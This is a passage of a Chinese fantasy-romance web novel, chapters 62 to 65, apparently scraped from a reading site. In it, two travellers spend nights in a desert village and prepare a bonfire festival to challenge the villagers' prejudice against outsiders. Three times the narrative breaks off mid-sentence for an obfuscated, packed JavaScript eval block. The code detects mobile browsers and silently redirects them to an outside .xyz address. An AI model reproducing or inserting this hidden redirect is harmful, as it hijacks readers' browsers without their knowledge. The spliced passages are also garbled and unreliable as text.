两人用火炬在木柴堆上轻轻一碰,瞬间火光“呼”地一下燃起,晕开四周的光亮。 周围的人纷纷拍手叫好,道着一句句“欢迎远方来客”,之后,便三三两两转身,各回各的茅草屋内了。 长晓终于松开了文落诗的手。文落诗只觉得悬了很久的心终于落下,把火炬还给麦穗长老。 麦芽糖不知何时钻到了麦穗长老怀里,此刻正在蹭着麦穗长老的衣衫撒娇。人群散尽,麦芽糖欢快回过身:“晚安喽,大姐姐和大哥哥!” 文落诗刚想说“晚安”,就见麦芽糖又复杂地看向自己,然后,水灵灵的眼珠子转了三圈,又看向长晓,最后,看向自己的茅草屋。 “我的床下面全是茅草。”她吞吞吐吐出这么一句话。 文落诗和长晓对看一眼,都觉得莫名其妙。文落诗开口道:“嗯,我知道,刚刚收拾床的时候看到了。” 麦芽糖再次换上神秘兮兮的表情:“茅草经不起折腾,很容易塌。” 文落诗更懵了。 她转头看向长晓,却见长晓好像懂了什么似的,眼神开始变得复杂。 唉,指望不上他了。 文落诗努力坚持着一副和颜悦色的表情,问道:“嗯,所以,你想说什么?” 麦芽糖盯着二人,撅嘴:“所以你们这几天,不许折腾我的茅草床,不许让床塌了。” 文落诗彻底被她绕进去了:“我折腾你的床干什么?” 就在下一瞬间,麦穗长老一把拽过麦芽糖搂在怀里,长晓也一把拽过文落诗搂在怀里。 两人几乎动作同时。 麦穗长老狠狠瞪了麦芽糖一眼,才讪讪对长晓笑道:“小孩子胡言乱语,口误遮拦,二位别放在心上。” 文落诗很想抬头问怎么了,可长晓伸出手按住她的头,不让她再抬起来,只允许她的头窝在怀里。 长晓一边按着文落诗,一边道:“当然,长老您快去休息吧。” 麦穗长老满脸赔笑,支棱着胡子瞪着麦芽糖,一个劲埋怨麦芽糖多嘴。只可惜,文落诗的脸紧紧贴着长晓的胸脯,没看到麦穗长老和麦芽糖的神情。 长晓与麦穗长老又说了几句客气话,麦穗长老便带着麦芽糖一起回屋了。 目送二人回去,长晓轻轻拍了拍文落诗的后脑勺,在她耳畔吐出一丝热气:“我们也先回屋内?” 文落诗懵懵地,也没点头,也没摇头。长晓知道她大约是懵了,径直将她拉回了茅草屋里。 62. 篝火燃照星满天 回到屋里,文落诗愣愣坐在蒲团上,认真思考,眼神中散发着清澈和懵懂。长晓看着她,无奈叹了很多口气。 “一会再想,先说正事。” “好,”文落诗回过神,“你叹这么多口气做什么?” 长晓撇嘴:“等你想明白,你就懂了。” 文落诗一听这话,气就来了:“我还没问你呢,我允许你抓我手了吗?你就抓!我允许你抱我了吗?你就抱!真是大登徒子,果然男人都一个臭德行,没什么区别。” 长晓正在坐来她身边,听她如此描述,先是怔住,随即立刻失笑。 “我又不是之前没抱过你。” “啧,说得好像跟家常便饭一样。” “本来就是啊。” “长晓!你说是就是啊!你太过分了!” “好,我过分,我道歉。” 文落诗一怔,她知道自己在说气话,而且这气话她根本提不起力气,说出口之后,听起来是软绵绵的,比起吵架,更像是在娇嗔。 她甚至不敢想象,自己此刻的表情,更像是在生气,还是像在撒娇。 不过,她实在没想到长晓这么快就服软了,一时她愣愣看着长晓,不知如何回答。 “不过落诗啊,以你的性格,如果真不想被抱着,应该直接一道粉烟打在我头上了,怎么可能忍到现在?” 长晓只是笑着,可文落诗却觉得他的笑意拂过自己内心,弄得心头痒痒的。 “我怎么可能对你这么粗鲁……” “所以,你究竟怎么想的,可能只有你自己知道。” 文落诗不说话了。 许久,她才继续开口:“你不是要说正事吗?” 长晓笑容一顿,却很快恢复:“嗯,不生气了?” 文落诗扭头:“我知道你人很好,所以实在不舍得跟你吵架。说正事。” 这么多天,长晓已经习惯了她对有些事情避之不谈。他知道这个对话不会再发展下去了,哪怕内心再痛苦,也只能作罢。 她没有想法就是没有,顶多允许自己抱抱她,还只是因为她本就对这些不在乎。 虽然,长晓好几次隐约觉得,她并不是真正不在乎。毕竟,她一次次默许自己的种种挑逗和胡作非为,这跟她眼里容不得沙子的个性很不相符。但每当他试着戳破之时,她总是把话题止住,不再继续。 反反复复下来,长晓明白,是他一厢情愿了。 注意到长晓的眼神有些落寞,文落诗忽然觉得心下虚虚的。 “抱歉,我刚刚话太重了。要不先睡吧,关于长老歧视来客的事情,明天再说也来得及。” 长晓没意见:“好,先睡吧。” 他见文落诗直直看着屋门处,不像是短时间之内回神的样子,便背过身去,开始解开外衣。 “长晓。” 他动作一顿,却没转身。 “你以后愿意抱就抱吧。” 长晓震惊地转过身。 “我不在乎,无所谓,真的。” 说罢,文落诗就不再看他,自顾自地转身,开始给自己换衣服。她仿佛置气一样,没再多言,穿着亵衣率先来到茅草床上,钻进被子里躺好。 面朝里面侧躺着,不看身后的人。 许久,身后传来动静,文落诗紧闭着眼睛,不去理睬。 她知道长晓在自己身侧躺下了,还帮她盖好被子。 她甚至都不知道,自己方才最后一句话在说什么,为什么要说。 事情如同一团乱麻,她有能力把乱麻解开,但她不想面对解开之后的事情,所以她不想解。 脑子里乱乱的,身上也毫无力气。 忽然,她察觉到身上一阵温热。侧过头一看,长晓正把自己搂过去。 “你……做什么……” 真不怪文落诗多想,他们此刻在床上啊! “你不是说,允许我抱你吗?” 长晓离她太近了,那温热的话语就在脑后,文落诗心跳加速,全身麻木。 “两个人分开睡,夜里容易抢被子,到时候就着凉了。若是你真不介意,我倒是可以抱着你睡。” 文落诗久久没反应。 半晌,她干脆心一横,翻过身,面朝长晓。 “我很想知道,你是怎么如此镇定地说出这种话的。” 她几乎轻轻一抬头,就能碰上长晓的唇,或是他那双比沙漠和森林更加乌黑的星眸。 而此刻,那双眸子半阖半睁着,如同云间的月影般柔和,那两瓣唇轻轻分开,如同月影下的山峦般静美。 “自然是因为,你说了不在乎,我才敢的。” 文落诗撇嘴,闭眼,不再看他。 她本来以为,今晚两人拌嘴,得是谁也不理谁了,两人离得八丈远。可她万万没想到,他们似乎真的谁也不在乎是否拌嘴。 仿佛一切争吵都不存在。更神奇的是,好像什么还更近了一步。 她知道长晓对她太好了。他纵容自己发脾气,而后什么也不说,甚至还给自己盖被子。不过,反观自己,也对长晓太好了。纵容他无数次非礼,还不还手。 一时间,文落诗脑子好乱。 算了,睡觉,他愿意怎么样就怎么样吧! 文落诗转过身去,不再看他。 往日里她写话本的时候,最烦描写主人公的神色了,毕竟这种事情凭空想象,还是很难的。而这些天来,往日种种难题,几乎全都不存在了。 因为她把这些神色,在长晓脸上,统统看了个遍。 她脑海中翻涌着无数想法,也就慢慢适应了那个揽在自己身上的温暖手臂。 不知不觉中,她开始复盘今日发生的事情,把所有事情捋顺后,她想到了麦芽糖最后说的话。 紧接着,她身子一僵。 像是感受到她明显僵住,背后那人传来一声轻笑:“好好睡觉,不想了。” 那一瞬间,文落诗觉得自己的身上趟过了无数场热流。 她不知所措,手甚至不知道该放到什么位置,脚也不敢挪动,仿佛稍微一动,就是在表达自己的心虚。 麦芽糖!她在想什么啊! 文落诗气得咬牙。 麦芽糖这个小女孩,看起来天然无公害,可她是整天脑子里装了多少不正经的东西,才会觉得自己和长晓会……会把她的茅草床折腾到拆了啊! 自己成天看各种话本,都没被荼毒成这样,反观这个麦芽糖…… 最关键的是,她和长晓之间真的什么也没有啊! 明明都说了两个人是朋友,没有别的! 不过,此时此刻,文落诗觉得身上更僵了。特别是那只搂着自己的手臂,更加滚烫,像是惩罚一般烙在身上,不挪动分毫。 最可怕的是,文落诗似乎察觉到,她内心深处有些贪恋这种火热的炙烤。 像是感受到了自己身体的僵硬,那烙铁般的手臂忽然动了动,拍拍自己的身子。 “好好睡觉,不想了。” 长晓又重复了一遍,只不过声音更轻。 文落诗只得强制自己清空所有思绪,刻意放慢呼吸。渐渐地,她将身上的炽热当作安神药,沉沉睡去。 面前的姑娘呼吸声慢慢变得均匀,长晓嘴角勾起一抹笑意。 真好。今晚沙漠之中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989990|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天色月色都好。 * 翌日一早,长晓醒来,怀里的文落诗还在熟睡,他便没有多大动作。 看样子,这姑娘昨夜没什么大动作,只不过翻了个身,现在是面朝着自己侧躺。 在床上躺了一会,长晓简单回忆了昨日的信息,大致对接下来的安排有了初步的想法。 忽然间,他察觉屋外有动静。稍稍抬头,他隐约发现一个矮小的身影刚从窗户处溜走,似乎是生怕被发现。 长晓勾唇,迅速念了个诀,一道蓝光闪去,在整个茅草屋外设了结界,外面人再也无法偷窥或偷听。 可是这结界并不遮光。一缕阳光照进来,刚好打在文落诗的眼角处,将她叫醒。 文落诗惺忪地半睁开眼,嘴巴有些干:“我是不是又睡过头了?” “没有,”长晓声音轻轻的,“虽然我也不知道时辰,但外面刚开始有动静。” 文落诗发觉,长晓的声音离自己这么近,猛地发现不对。她睁大眼睛,看着长晓的眉眼近在迟尺,亵衣松松垮垮的,心下忽然一空。 然后,她一溜烟从床上坐起来,直直盯着长晓,欲言又止。 “你……当真抱着我睡了一晚上?” 长晓眼角处染上笑意,也缓缓坐起身:“嗯,倒是抱够了。” “长晓,”文落诗眼神警觉,紧紧攥着被角,“虽然我信得过你的人品,但是我还是得问一句,你没干别的吧?” 长晓的眼神变幻了几瞬,莞尔:“你放心。我只是怕你着凉,不然也不会一直抱着你。” 虽然,这话他自己都不信。 文落诗其实挺放心的,这种放心不仅来源于自己的感觉,也来源于这些天对长晓的过分信任。只不过,刚醒来就被一个大男人抱着,两人贴得这么近,她实在觉得太奇怪了。 “口渴吗?”长晓手掌中蓝光流转,出现一个水壶,“我记得你平日里早上起来,都要找口水喝。” “多谢,”文落诗一想到他们二人一起坐在床上,就觉得耳根子发热,“那是我以前。我在森林里这些天,早就没有这种娇气的毛病了。” “你还娇气?你是我见过最能抗的,什么苦都自己扛着。” “……” 文落诗干脆不回答了。她心道,这个人每天都跟嘴里喂了蜜一样,也不知道意欲何为。大约是觉得跟自己说话比较有趣?懒得细想。 喝完水,文落诗几乎完全清醒过来,忽然想到什么:“昨日有件正事,我没来得及说,就直接睡着了。” “你要是不介意,现在说就行。”长晓轻轻挑眉。 文落诗心一横,决定先说。不就是两个人在同一张床上多坐一会吗?问题不大。 “昨晚你和麦穗长老说话时,麦芽糖告诉我,三日之后会有一场篝火大会。” 文落诗简要把麦芽糖所说的复述了一遍,然后静待长晓的反应。 “你大概是觉得,篝火大会是个很好的契机。”长晓思考了片刻,斟酌答道。 “知我者长晓也。” “你若是想纠一纠麦穗长老那歧视不同地方的老旧思维,不如就在这里多待几天,等到三日后。” “什么叫我想啊?”文落诗眼神微挑,“你明明也想嘛。” “好,那就一起等三日后。” 文落诗满意了,把被子扔到一旁,下床穿鞋换衣服。 长晓见她像小兔子一般动作麻利,笑得漫不经心。 她所向往的平淡生活,盖如此。 只可惜,若是她真与自己更进一步,那这种平淡生活,自己恐怕确实给不起。 算了,先看当下吧。 63. 篝火燃照星满天 文落诗在茅草屋里梳头,长晓则是独自走出门去。 毫不意外,麦芽糖乐呵呵地躲在窗户后面,被长晓抓了个正着。 “我刚刚是不是被大哥哥发现了?” “当然,”长晓挑眉,语气中带着一丝不屑,“你的大哥哥,比你想象得厉害多了。” “哦,”麦芽糖眨巴眨巴眼睛,“我只是想去看看我的床塌没塌。” 长晓嘴角狠狠一抽:“你想多了。” 麦芽糖仔细盯着长晓的神情,看了许久,才笑嘻嘻道:“我猜得果然没错,你就是喜欢大姐姐。” 长晓也不否认:“嗯,别告诉她。” 麦芽糖满脸疑惑:“为什么不告诉大姐姐?” 长晓拍了拍麦芽糖的头:“大姐姐对大哥哥无意。另外,大哥哥的事情很复杂,不想耽误了大姐姐,懂吗?” 麦芽糖似懂非懂点点头。 忽然,她又想到什么,再次疑惑问道:“可是,你都抱着她睡觉了啊?” 长晓本是转身欲离开,闻言,脚步一顿。 这个小孩!真是什么都知道啊! 若不是他即使设了屏障,恐怕她能在窗口把一切都看尽了。 “沙漠里冷,你的被子两个人盖还是小了些,我怕她受凉,仅此而已。” 麦芽糖明白了:“我小时候,娘亲也是怕我受凉,经常抱着我睡。” “嗯,就是如此。对了,你这里还有多余的被子吗?” “有,我后来长大了,娘亲让我自己睡,就多从外面带了一床被子回来。我等会去给你们拿。” 长晓捕捉到重要的信息:“你娘亲从‘外面’带回来的?” “嗯嗯嗯,‘外面’就是参商镇。我们这里的人偶尔会走出沙漠和森林,去到参商镇采买。” “我是否方便问,你娘亲……” “我长大了,她就和爹爹一起搬去参商镇住了。” 长晓神色一滞。 “不是你想的那样,他们没有不要我!有人觉得这个村子太破了就选择离开,而有人愿意守在这个老祖宗留下的地方。我想留下来陪麦穗长老,才没答应和他们一起走的。我娘亲每过几年就会回来看我,给我带来真正的麦芽糖吃。麦芽糖吃麦芽糖。” 听到最后一句话,长晓忍俊不禁。 “所以,你娘亲和你,只是不同的选择?” “对,不同人有不同的选择。我觉得这里挺好的。” 长晓在麦芽糖的面前蹲下来:“你去过参商镇吗?” 麦芽糖摇摇头:“我没去过,麦穗长老也没去过,但这里大多数人都去过。” “我明白了,多谢你。” 长晓拍了拍麦芽糖的脑袋,转身离开。 “大哥哥!” 长晓回头。 “有个地方特别漂亮,你过来,我想跟你说一下。” * 长晓回到屋中时,文落诗刚把自己收拾好。只见她随手往地上扔了一个蒲团,准备坐下。 “碰上麦芽糖了?” “嗯。”长晓安安静静坐在了文落诗旁边,简要讲了麦芽糖母亲的事情。 “由此推断,他们这里的人与参商镇一直有联系。有人从这里出去,直接定居在参商镇,而也不少人回到这里。” “没错,麦芽糖说,她没出去过,麦穗长老也没出去过。”长晓补充道。 至此,两人对看一眼,都明白了什么。 泼墨森林连接着第二重天的参商镇和第一重天的寒声城,而久居沙漠的人们,不少去过参商镇,却大约从未有人去到过寒声城。 去过参商镇的人,必然觉得镇上比沙漠中的艰苦条件好上百倍,每每碰到远方来客,定然因为之前的好印象而热烈欢迎。他们的歧视,来自于对熟悉环境的安全感,和对陌生环境的未知和恐惧。 没去过参商镇的人,比如麦穗长老,早已耳濡目染,从只言片语中拼凑出一个幻想的世外桃源,并陶醉在其中。他的祖上生于那个九重天际尚有尊卑的时代,一代代思想传递,早就种下了歧视的因,而周围出去过的人又都在夸参商,便催化出了歧视的果。 文落诗和长晓二人的思维总是同频共振。两人都没多说,但心中都捋清楚了这件事的原因。 “那其实很好办,得有个契机,让他们了解寒声城是什么样子的。他们怕是只知道名字,别的什么都不知道。” 长晓抬眸:“你之前说,他们三日后……” 文落诗对上他的眼神:“我懂。” 长晓左眉轻轻挑起:“你懂什么?” 文落诗拒绝承接他温柔如水的面孔,故意板起脸,严肃道:“时间确定了,具体做什么还没定。” “怎么说得跟要去起义一样。” “……不至于,除了风壑那一堆乱麻之外,我觉得当今世道挺好的,没必要起义。” “我以为你想说,自己势单力薄,起义也没用。” “照你这么说,我也太自私了,难道我就不能为别人站出来,只考虑独善其身吗?” “所以,”长晓眼睛轻轻一眯,笑得意味深长,“你现在考虑兼济天下了?” “……” 糟了,文落诗刚刚意识到,自己掉进他的圈套里了。 好像有什么地方不太对劲。 明明自己从来都是冷漠、凉薄、自私自利,只考虑自己的眼前事,可她几乎本能一样考虑着怎么帮寒声城正名、怎么帮这里的人提升认知,这也是事实。 她转过身去,甩了长晓一个瞪眼,并用后背对着他。 谁料,身后的人轻笑一声,直接从背后抱住了她。 “你放开!” “你不是说……” “我后悔了,从现在开始我要把话收回。” “晚了。” 文落诗只觉得心脏砰砰直跳,吓得闭上眼睛。 可那股温热迟迟没散去,她只得浅浅睁开眼,低头瞧见自己的身前被墨色的广袖轻轻盖着,而自己的脑袋贴在他的胸膛上,一如在寒声城的山间行船之时,躲头顶巨石多那一瞬间。 就在她脑海中嗡嗡直响的时候,长晓在她耳畔轻轻启唇。 “落诗,你有没有发现,现在的你,和以前的你,很不一样。” 文落诗不说话,因为她也意识到,长晓说的是完完全全的事实。 不就是一个沙漠里的小破村子吗?村里人爱怎么想就怎么想,自己谎报个来处就昏过去了,有必要自觉凑上去,承担起这么大的责任吗? “以前的你,不可能迎着麻烦跑过去,还顺理成章思考怎么帮别人解决麻烦的。” 文落诗心下一空,表面上却镇定,从他的怀抱里退出来,转身瞪眼:“谁说的?我很见义勇为的好不好?” 长晓本不想让她从怀里出去,奈何她力道过大,他就也没想着要拦。见她转过来,长晓手自然移动到她身后,开始摆弄她的头发:“你一直心怀大义,夸张一点,说你心系苍生也不为过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998840|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只不过没表现出来。时间久了,连自己都给骗了。” 文落诗脑子里反复回荡这句话,仿佛撕碎了蒙在心上的最后一层云雾。 许久,她低头道:“被你影响的。” “怎么可能,”长晓拨弄她软软的乌发,温柔道,“从我第一次见你,就知道你是这样的人。” 文落诗想本能一般往前靠,靠进长晓的怀里,但是最后一丝理智让她忍住了。 长晓说得没错。 这么多年,她口口声声说要只顾着自己,其实是在想办法逃避真实的自己。 ——因为,真实的自己,总是因为善良而受欺负。 此刻,她身体僵直,盯了长晓很久,直到眼睛快干得流出眼泪了,才终于一咬牙,解开了内心的锁。 “你说得对,”她轻轻将长晓向前一推,继续道,“小时候我天天大喊天下兴亡匹夫有责,帮这个帮那个,但是最终落了个不太好的下场。那时候我收起了这份心,告诉自己自私一点,也不要再过度沾染任何旁人的事情。 “以至于,这么多年,我一直以为,自己是个追求独善其身的小姑娘,潜意识里不愿意承认自己真实的想法。” 长晓静静坐着,看着她的眉眼。 “虽然……我确实没那么伟大,一个人改变不了什么,但若是有什么事情发生在我的视野中,我还是愿意去帮忙的。” 文落诗想明白了。 善良不应该成为她的弱点,也不该成为外界攻击她的捷径。 而长晓听到她这句话,眼神中闪过一道黯然。 她这话说得没毛病,算是打开自己封存已久的内心,承认自己挺顾及民生的,但长晓知道,她这话的引申义是,自己仍然不考虑站在明面上去“顾及民生”。 简单来说,就是她依然不考虑朝堂相关的事情。 长晓跟她说这些,确实是想开导她,不让她活得这么别扭,但也他确是有私心的。若是她铁了不入融雪城,那就真的和自己没有任何可能了。 两人各怀心事,很久没有说话。 “来,这位心怀大义的郎君,”文落诗重新抬头,“我们商量一下,三日之后篝火大会,该怎么做。” 长晓闻言,也重新与她对视,认真开始商量。 大约过了一个时辰,两人大致想出个七七八八,长晓忽然问了句题外话:“跟我在一起生活是不是特别累?” “嗯?为什么累?” “走到一个地方就要解决一堆困难,跟巡守似的。” 刚说完这话,长晓就暗叫不好。 “巡守”这个词,他几乎是脱口而出的。以文落诗的敏锐度,几乎是一定会捕捉到这个异常的。 然而,文落诗只是嫣然一笑,并没有察觉任何异常似的:“不存在的。我跟你在一起旅行可快乐了,还特别放心。” 长晓刚要再说什么,却忽然听到敲门声。 麦芽糖抱着一床被子,站在门口,坏嘻嘻地笑着:“大哥哥早上问我,有没有多余的被子。” 文落诗一愣,问长晓:“你要的?” 长晓点头,对麦芽糖道:“多谢你。” 她走后,文落诗抱着一团被子,面色十分尴尬。 她不敢想象麦芽糖是怎么看待她和长晓的关系的。 关键是,这种尴尬,接下来还得再熬三天。 不过,她和长晓分别有被子了,就意味着长晓没有理由再抱着她睡了。 也不知是庆幸,还是失落。 64. 篝火燃照星满天 三日过得很快。 这几日里,文落诗和长晓几乎找遍了村中每个人去聊天,来了解他们所想。 这里的人不多,二十来个,甚至比寻光戏班子里的人都少。与他们打成一片,不算什么困难事。 此刻,文落诗瘫坐在地上,毫无形象:“也就是说,只有麦芒大娘、麦芽糖和麦穗长老没去过参商镇,别人都或多或少去溜达过一趟。” 长晓点头,明白她的意思:“如此情况,怕是不能正面对抗了。以卵击石,没有什么胜算。” “怎么说得跟要去打仗一样。”文落诗打趣道。 “本来就是,”长晓很少严肃,但此刻他刻意摆出一副严肃的模样,道,“这本身就是一场硬仗,且胜算不大。” “我倒是觉得,胜算很大呀。” 文落诗眼珠子一转,凑到长晓耳朵边,悄咪咪说了几句话。 长晓抬眸:“你确定麦芽糖能同意?” “她同不同意,试试不就知道了。” 于是,半个时辰后,麦芽糖来到茅草屋内,盯了一会麦草床上一团乱蓬蓬的被子和一团整齐叠好的被子,再转头看向两个人,与之面面相觑。 “想问什么?”文落诗问她。 “我在想,为什么大姐姐如此笃定,我会帮你们。” “很简单,因为你已经帮过我们一次了。” 麦芽糖一愣,想起两人初来之时,自己确实帮过他们一次。若不是她提醒,两人不会故意谎报身份,也不会被麦穗长老接纳。 “帮过你们一次,就代表会有第二次?”麦芽糖故意挺起胸脯,摆出一副不好惹的样子。 “不是这个逻辑,”文落诗神色淡淡,却胸有成竹,“你帮过我们一次,证明你有心在此。你注意到这个问题,也是想解决这个问题。这才是重点。” 麦芽糖被她说得一愣,思考甚久,最终点头。 “大姐姐,你真厉害。你猜对了。” 文落诗顺理成章地露出一个“大姐姐”应当有的笑容,而长晓则以“大哥哥”的口吻,继续问道:“那么,能给我们讲讲,你是怎么想的吗?” “我的想法很简单。我之前觉得麦穗长老德高望重,说得都是对的,自然也相信他的观念,对寒声城来的客人拒之门外。直到有一天,一个寒声城的姐姐被赶走前,看到我蹲在路边,给我塞了一颗糖果。” 文落诗一怔,随即明白了她的意思。 “那时候我就在想,有没有一种可能,所有人都是一样的,无论来自哪里,都同样的好。” “那么,你的答案呢?”长晓挑眉道。 “我想了很久,没有答案。但是,这里的来客很稀少,一年也不一定有几个。泼墨森林很危险,愿意穿越森里的人寥寥无几。我只是觉得,有的时候,好不容易等到一个客人,却要因为来处而被赶走,实在是太可惜了。” 文落诗听闻此言,“扑哧”一声笑出来。 这是典型的孩子话。她没有直面点明内心所想,因为她思想尚未成熟,很多事情很难理出个条条框框,但她的直觉,往往是最纯粹、最无杂质的。她无法清楚地剖析自己内心、意识到自己不满长期存在的对外界的歧视,可她能清楚地感受到,自己在难过。 “我们没被赶走,是不是挺好的?”长晓继续问道。 “嗯,挺好的。” “那大姐姐刚刚说的,你愿不愿意帮忙?” 麦芽糖犹豫了一会,小声道:“我可以试试。但是,最终结果如何,我不知道。” “这没关系,”文落诗拍拍她的头,“这种属于一群人的大事,通常不是一己之力能够改变的。若有余力,想去出力,那尽力了就好。” 长晓淡淡看了一眼文落诗,没说话。 麦芽糖走后,文落诗朝长晓挑眉:“是不是有什么话想说?” “嗯,你无数次跟我说过,只想过好自己的日子,不想管其他。如今听你说出这些,有点感慨。” 文落诗嘴角一抽,心道,这个人又来了。“少说两句,多关心关心自己吧。” 不过她后来一细想,长晓说得没错。 好像自己在不经意间,改变了很多。抑或是,自己在这些天的磨砺下,逐渐展开了那个被埋没已久的真实自己。 * 这夜天气晴朗,脚下的沙漠和头顶上的天空全是一片幽黑。鲜有淡云飘过,是唯一一抹柔美的白色。 而天空之下,篝火盛燃,柴火噼里啪啦作响。 众人抱了形形色色的器具,纷纷来到篝火四周,交换个眼神后,一人开始拍动手里的鼓,奏出一连串鼓点。随即,众人手中的器具,便发出了不同的声响。 原来这些,都是乐器。 长晓走到文落诗身边,在她耳边道:“我还是第一次见识这么多新鲜的乐器。” “我也是,方才他们来的时候,我都不知道他们手里拿的是什么。” 此刻,文落诗坐在麦芽糖的后面,正专心致志给她拿彩绳编辫子。麦芽糖的头发从蓬松炸开,逐渐变成了五彩斑斓的两个小辫子。 一曲过后,文落诗收工,麦芽糖捧着文落诗的铜镜,欣赏自己半天,然后蹦蹦跳跳跑到人群中央去。 她拿出一个笛子模样的乐器,开始吹奏。 圆润饱满的声音从她的“笛子”中传出,不急不缓,像是夜晚中被风吹动的流沙,慢慢卷过柔和的沙丘。 在这音乐中,不知是谁第一个开口唱起了歌,众人便纷纷应和。与方才热烈欢快的那曲不同,此曲悠扬而缓慢,像是一种思念。 文落诗听到这里,静静给长晓传音。 “你别看麦芽糖大大咧咧的,其实……” “其实,她很思念自己的母亲。” 二人交换了眼神,微微点头。 一曲终了,麦芽糖眨眨眼睛,像是努力收拾好心情。她蹦蹦跳跳跑过来,眼神澄澈,像是小孩子在寻求夸奖。 “怎么样,我吹得还不错吧?” “可好了。” 长晓忽然问道:“你的乐器,叫什么?” 文落诗心想,不愧是你,这眼神简直跟我看到路边卖话本的小摊时一模一样。 麦芽糖回答道:“纳依。老祖宗起的名字,用森林里野兽的骨骼制成的。” 她见长晓一脸痴迷,便把纳依递到长晓手里。 “大哥哥你慢慢看,”麦芽糖玩弄着自己的辫子,“今天是大日子,之后还有好多歌舞呢!” 文落诗放眼望去,人们在各自摆弄着乐器,就连麦穗长老都认真低着头,佝着背,修整着手里跟鼓一样的东西。没过多久,一阵鼓声响起,又是辉煌的一曲。 不知何时,一个比麦芽糖看上去大一些的小姑娘走过来。 “大姐姐,你可以也给我编个辫子吗?麦芽糖那个好好看啊!” 文落诗一怔,才反应过来,这人是在跟自己说话。她抬眼望远,看麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015579|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芽糖已经跑去麦穗长老旁边叽叽喳喳了。 “当然可以。” 文落诗没想到,这姑娘开了个好头,之后她的一晚上便都没闲着。各式的歌舞成为了伴奏,而她的任务,变成了给这里的所有女子编辫子。 只要一得空闲,就会有几个女孩跑来,眼巴巴地乞求她,乖乖排好队。再之后,无论男女老少,除了麦穗长老之外的所有人几乎全来了一遍。女子要编辫子,男子想要她编的发带。 文落诗心中诧异,她当初给麦芽糖编辫子,纯属是没事找事。她万万没想到自己的手艺这么受欢迎。只凭一个编辫子,她就成为了香饽饽。 以前,心灵手巧是她最不甚在意的一个优势,之前绣花啊给长晓制琴啊,对她来说,都是顺手的事。如今她才意识到,这件小事,竟能帮她迅速在一个陌生的群体中建立优势地位。 她本来就和长晓计划着在这场晚会上做点什么,给这群人留下好印象。她甚至都做好准备当场赋诗千首震一震他们,抑或是给他们讲故事让大家乐呵。这下好了,她什么都不用再干了。 对了,长晓呢? 文落诗编发带的双手一顿,抬头,见长晓在不远处正调琴。 正是不久之前,她给他制成的那张琴。 不知为何,她心中一暖,迅速装作没看见的样子,继续低头。 而长晓当然捕捉到这份目光。余光里,他看到文落诗抬起头看自己,又迅速低下了头,不经意间,他嘴角扬起。 歌舞间隙,麦芽糖口中的“大哥哥”给众人带来了一曲。 长晓这个名字在森林之外是响当当的,但在森林之中,无人知晓他是谁。因此,他抚琴之时,反倒毫无压力。 一曲之间,文落诗始终没有抬头。她也说不清楚自己在刻意回避着什么,越坚持低头看手里的彩绳,越发觉心思根本没放在这上面。 深夜之中,篝火盛旺,毫无将息之势,只是天空的墨色更浓了些,天上的星星更灿了些。 麦芽糖说,这是他们一年一度的最盛大的宴会。就算宴会结束,众人纷纷回屋之时,都不见脸上有任何意兴阑珊之色,反而多是不舍。 而这一晚的宴会后,文落诗和长晓也告别了众人,不再留宿,而是继续上路。 麦芽糖很是不舍,一路提灯送到很远,成为远处黑色沙丘上唯一一个小亮点。 文落诗好几次叫她别送了,她都不肯,直到三人的视线中已经完全看不见那片聚落,她才肯折返回去。 “大姐姐,”麦芽糖踌躇了很久,终于开口,“你就这么放心,把任务交给我了?你和大哥哥真的不多留一天吗?” 文落诗摸摸麦芽糖的头:“大姐姐相信你,但我们还要赶路呢。” 麦芽糖将信将疑。 “不信你问大哥哥。” 长晓闻言转身。一望无际的黑色沙漠之中,只有麦芽糖手里那盏小灯的亮着光,而长晓的眼眸在这处虚弱的光中渐渐弯起。 大约是夜深了,他的声音也变得朦胧。 “嗯,我和你的大姐姐还要赶路,剩下的事情就麻烦你了。” 麦芽糖这才点头,像是下定什么决心一般,转头离去。 目送着那一点亮光翻过沙丘,再也不见,文落诗与长晓都知道,若没有别的事情,怕是不会再见面了。 不过他们是来过的。 他在此处留下了琴声。 她在此处留下了一片五彩斑斓。 65. 篝火燃照星满天 “比我预想好多了。” 茂密的树枝下,两个人蹲在丛林里,而他们的面前,端正摆放着一面银白色的石镜,与周围浓密的黑中突兀至极。 石镜之中,正是沙漠里村落的景象,一个熟悉的小身影正从最大茅草屋中走出。 “麦芽糖做得很不错啊!”文落诗拍拍手,起身,顺便拉了长晓一把。 “麦穗长老的反应在你我意料之中,但其他人的反应,出乎意料地好。”长晓衣袖一拂,面前的石镜消失。 